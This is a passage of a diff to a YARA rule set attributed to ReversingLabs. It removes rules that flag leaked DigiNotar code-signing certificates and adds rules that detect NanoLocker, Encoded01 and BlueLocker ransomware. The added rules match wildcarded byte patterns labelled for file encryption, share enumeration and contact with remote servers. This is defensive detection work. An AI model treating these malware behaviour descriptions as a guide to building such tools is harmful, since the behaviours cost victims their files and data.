?? 73 ?? ?? ?? ?? + 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F + ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 17 6F ?? ?? ?? ?? 00 08 06 16 06 + 8E 69 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ?? + ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? + ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D + ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 + DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 00 00 + DE ?? 26 00 00 DE ?? 00 DC 2A + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Cyber CA" and pe.signatures [ i ] . serial == "07:27:10:0d" and 1308182400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_07271003 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Nanolocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects NanoLocker ransomware." author = "ReversingLabs" - id = "7573c436-5bf9-5522-9952-e30dbbccd092" - date = "2020-08-05" - modified = "2023-11-08" + id = "a31dad2e-2738-527b-a6e9-322757e2ec30" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L801-L817" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.NanoLocker.yara#L1-L79" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "14c201b4fdda5b3553732a173a3d6705129c54f2a50d26997d63a77be8504285" + logic_hash = "7fdb021f22d97bf8a00fd856ef913695a0d6fbaad1138b5a5cc2cc8768b130be" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "NanoLocker" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Cyber CA" and pe.signatures [ i ] . serial == "07:27:10:03" and 1308182400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_013134Bf : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "a3292707-c481-56a8-abf9-e1a762c76cb6" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L819-L835" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1ade100c310c22bce25bcc6687855bd4eb6364b64cf31514b2548509a16e4a36" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_file_1 = { + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 + ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 05 ?? ?? ?? ?? ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 + 05 ?? ?? ?? ?? ?? 8D 3D ?? ?? ?? ?? 33 C9 C6 07 ?? 47 41 81 F9 ?? ?? ?? ?? 75 ?? C7 + 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A + ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? + ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 81 3D + ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 F0 46 8A 06 3C ?? 0F 85 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 + } + $encrypt_file_2 = { + A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 + ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 81 3D ?? ?? ?? ?? + ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? + E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 2D ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? A3 ?? + ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? + ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? + ?? ?? ?? E8 + } + $remote_server_1 = { + E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? + ?? ?? 83 F8 ?? 72 ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF + 35 ?? ?? ?? ?? E8 + } + $remote_server_2 = { + E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 68 ?? + ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 + } + $enum_shares_and_encrypt_files = { + E8 ?? ?? ?? ?? C1 C8 ?? BA ?? ?? ?? ?? 23 D0 60 83 FA ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? 8D 35 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 56 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 61 8A 06 46 0A C0 75 ?? 8A 06 0A C0 75 ?? 61 D1 C8 8A 1D ?? + ?? ?? ?? FE C3 88 1D ?? ?? ?? ?? 80 FB ?? 76 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar PKIoverheid CA Organisatie - G2" and pe.signatures [ i ] . serial == "01:31:34:bf" and 1308182400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $remote_server_1 and $remote_server_2 and $enum_shares_and_encrypt_files } - -rule REVERSINGLABS_Cert_Blocklist_01314476 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Encoded01 : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Encoded01 ransomware." author = "ReversingLabs" - id = "e0a52ad1-cebd-5ffc-953f-e0b09fc6d710" - date = "2020-08-05" - modified = "2023-11-08" + id = "923d987e-f888-5b6a-9ebd-ee1257124aed" + date = "2021-12-16" + modified = "2021-12-16" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L837-L853" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Encoded01.yara#L1-L141" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6f2f3f3ae009fbb9ebe589fc6b640be89c4a7b734eda515f182c7e9c9ffb4779" + logic_hash = "f6f872290f15f4c564911bb099824c47cb13164457e1bcdb02dee441bc2d6b6a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Encoded01" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar PKIoverheid CA Overheid" and pe.signatures [ i ] . serial == "01:31:44:76" and 1308182400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_013169B0 : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "a5f68c0a-635a-5aa9-94d2-7628999f06c2" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L855-L871" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "354421ebad7fd0b73c9ba63630c91d481901ca9ec39be3c6b66843221e4b5aad" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 89 4D ?? 89 55 + ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? + 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8B 55 ?? 66 83 7C 42 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ?? + ?? ?? ?? 8B 7D ?? 4F 85 FF 0F 8C ?? ?? ?? ?? 47 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ?? + ?? ?? ?? 8B 45 ?? 8B 55 ?? FF 34 90 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? + 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D + 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? + ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? + 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 + } + $find_files_p2 = { + C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 95 + ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ?? + ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A1 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 6A ?? 68 ?? + ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 8B 00 E8 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 3B 55 ?? 75 ?? 3B 45 ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 83 7D ?? ?? + 75 ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 73 ?? + 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 0F 84 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ?? + ?? ?? ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ?? + ?? 33 D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ?? + ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 74 + ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ?? ?? ?? + ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? 33 + D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? EB ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 74 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8A 45 ?? 50 8A 45 ?? 50 FF 75 ?? 68 ?? ?? + ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B + 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 + 40 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 4F + } + $enum_resources = { + 55 8B EC 83 C4 ?? 53 56 57 8B F9 89 55 ?? 8B F0 8B 5D ?? C6 45 ?? ?? 33 C0 89 03 33 + C0 89 07 8D 45 ?? 50 8B 45 ?? 50 6A ?? 56 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 03 83 3B ?? 74 ?? 83 3B ?? 74 ?? + C7 07 ?? ?? ?? ?? 8B 03 33 C9 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 03 50 57 8B 45 + ?? 50 E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 75 ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ?? EB + ?? BE ?? ?? ?? ?? EB ?? 81 FE ?? ?? ?? ?? 74 ?? 85 F6 0F 94 45 ?? 80 7D ?? ?? 75 ?? + 8B 03 E8 ?? ?? ?? ?? 33 C0 89 03 33 C0 89 07 8B 45 ?? 50 E8 ?? ?? ?? ?? 8A 45 ?? 5F + 5E 5B 8B E5 5D C2 + } + $remote_connection_p1 = { + BB ?? ?? ?? ?? 83 FB ?? 75 ?? 33 C0 89 45 ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 8B + C6 E8 ?? ?? ?? ?? 8B C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 33 C0 89 45 ?? 8D 45 ?? + 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 83 C0 + ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ?? 8B 45 ?? 59 E8 ?? ?? ?? + ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? + ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D 85 ?? ?? ?? ?? 8B 55 ?? + E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B D0 42 8B 45 ?? 59 E8 + ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 FF 0F + 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45 + ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A + ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 + 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D + ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A + } + $remote_connection_p2 = { + 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 + ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50 8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A + 58 76 ?? EB ?? 5A 58 7E ?? 8B 06 E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ?? + ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03 C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D + ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? + 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A + ?? 8B 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? + ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B + 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50 + 8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 76 ?? EB ?? 5A 58 7E ?? 8B 06 + E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03 + C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D + ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 + } + $encrypt_files = { + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? + E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 + ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 + ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? + ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? + 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF + 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 + ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? + ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D + ?? ?? 74 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar PKIoverheid CA Overheid en Bedrijven" and pe.signatures [ i ] . serial == "01:31:69:b0" and 1308182400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0C76Da9C910C4E2C9Efe15D058933C4C : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Bluelocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects BlueLocker ransomware." author = "ReversingLabs" - id = "a9b06d49-1ab2-539e-bd1f-16da40b654b2" - date = "2020-08-05" - modified = "2023-11-08" + id = "145ff05e-c90d-598a-a3d5-220bd6df718a" + date = "2022-08-04" + modified = "2022-08-04" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L873-L889" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlueLocker.yara#L1-L130" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = 